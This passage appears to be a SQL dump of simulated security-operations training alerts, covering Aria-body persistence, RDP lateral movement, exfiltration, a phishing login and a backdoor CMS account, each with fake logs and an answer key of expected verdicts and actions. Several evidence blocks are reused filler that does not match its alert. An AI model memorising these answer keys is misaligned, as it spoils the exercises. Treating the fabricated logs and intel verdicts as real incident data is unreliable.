(478, 'Aria-body Backdoor Establishes Persistence', 'medium', 'System Logs', 'The Aria-body backdoor has been detected establishing persistence by creating a scheduled task. This ensures the malware runs at system startup, maintaining access on the compromised machine.', 'Persistence Mechanism', 'T1053.005 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:07Z\",\"event_id\":4698,\"task_name\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\Aria-body\",\"task_action\":\"Create\",\"task_author\":\"SYSTEM\",\"task_trigger\":\"At startup\",\"executed_by\":\"192.168.1.15\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"aria-body.exe\",\"user\":\"compromised_user\",\"source_ip\":\"203.0.113.45\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local IP address within the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a variant of the Aria-body malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"aria-body.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"File associated with Aria-body backdoor malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised and used for unauthorized activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(479, 'Lateral Movement Detected Across Internal Network', 'high', 'Network Traffic Analysis', 'Using stolen credentials, the attacker moves laterally within the network, targeting additional systems to widen their access and control. The attacker used RDP connections to access a critical server using the account j.doe.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-16T13:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"protocol\":\"RDP\",\"username\":\"j.doe\",\"event\":\"Successful login\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"malicious.exe\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal asset database\",\"verdict\":\"internal\",\"details\":\"Internal company server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal user database\",\"verdict\":\"suspicious\",\"details\":\"Account accessed from external IP\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware database\",\"verdict\":\"malicious\",\"details\":\"File associated with lateral movement activities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(480, 'Data Exfiltration to Command and Control Server', 'high', 'Firewall Logs', 'Sensitive data has been exfiltrated from the internal network to an external command and control server. The attacker used a domain that mimics a legitimate regional government site to avoid detection. This activity is consistent with Naikon APT operations focused on espionage.', 'Data Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:37:22Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.56\",\"src_port\":45678,\"dst_port\":443,\"protocol\":\"TCP\",\"action\":\"ALLOW\",\"hostname\":\"internal-host.local\",\"domain\":\"gov-info-update.com\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\",\"filename\":\"confidential_report.pdf\",\"event_id\":\"FW-EXFIL-20231015-001\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Naikon APT.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"gov-info-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"domain_watch\",\"verdict\":\"suspicious\",\"details\":\"Domain mimics a legitimate government site, commonly used for phishing.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malicious exfiltration tool.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive information and was involved in exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(481, 'Suspicious Login Detected', 'medium', 'CMS Security Logs', 'An unauthorized login attempt was detected on the news website\'s CMS. The user\'s credentials were likely harvested through a phishing email. The attempt was made from a known malicious IP address.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-07T14:23:56Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"username\":\"j.smith@newswebsite.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\",\"login_status\":\"failed\",\"reason\":\"invalid_credentials\",\"related_email\":\"phishing_campaign@maliciousdomain.com\",\"malicious_url\":\"http://maliciousdomain.com/login\",\"hash\":\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.smith@newswebsite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Registered CMS user.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"URL used in phishing campaigns to harvest credentials.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"phishing_campaign@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address used for phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential-stealing malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(482, 'Unauthorized CMS Article Publication', 'high', 'Website Change Log', 'An unauthorized publication of articles detected on the CMS. Attackers utilized stolen credentials to disseminate false narratives aiming to influence public opinion through misinformation.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:30Z\",\"event_id\":\"cms-2023-unauth-pub-002\",\"user\":\"compromised_editor\",\"ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.10.25\",\"modified_files\":[\"/var/www/cms/articles/fake-news-001.html\",\"/var/www/cms/articles/fake-news-002.html\"],\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action_taken\":\"Published\",\"timestamp_publish\":\"2023-10-15T13:44:55Z\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous misinformation campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_editor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Access Logs\",\"verdict\":\"internal\",\"details\":\"Username with elevated permissions used in unauthorized actions.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Empty file or common default hash, requires further investigation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(483, 'Backdoor Account Creation', 'high', 'User Account Activity Report', 'An attacker has created a new user account with administrative privileges on the CMS to maintain persistent access.', 'Persistence', 'T1136: Create Account', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_type\":\"user_account_creation\",\"user\":\"adminuser1\",\"created_by\":\"attacker_account\",\"created_at\":\"2023-10-05T14:20:00Z\",\"ip_address\":\"192.168.1.25\",\"external_ip\":\"203.0.113.5\",\"new_account\":{\"username\":\"backdooradmin\",\"privileges\":\"administrator\",\"creation_method\":\"web_interface\"},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"cms_user_mgmt.php\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"backdooradmin\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Newly created account with admin privileges.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"clean\",\"details\":\"Common hash associated with empty files.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"cms_user_mgmt.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File related to user management in CMS.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 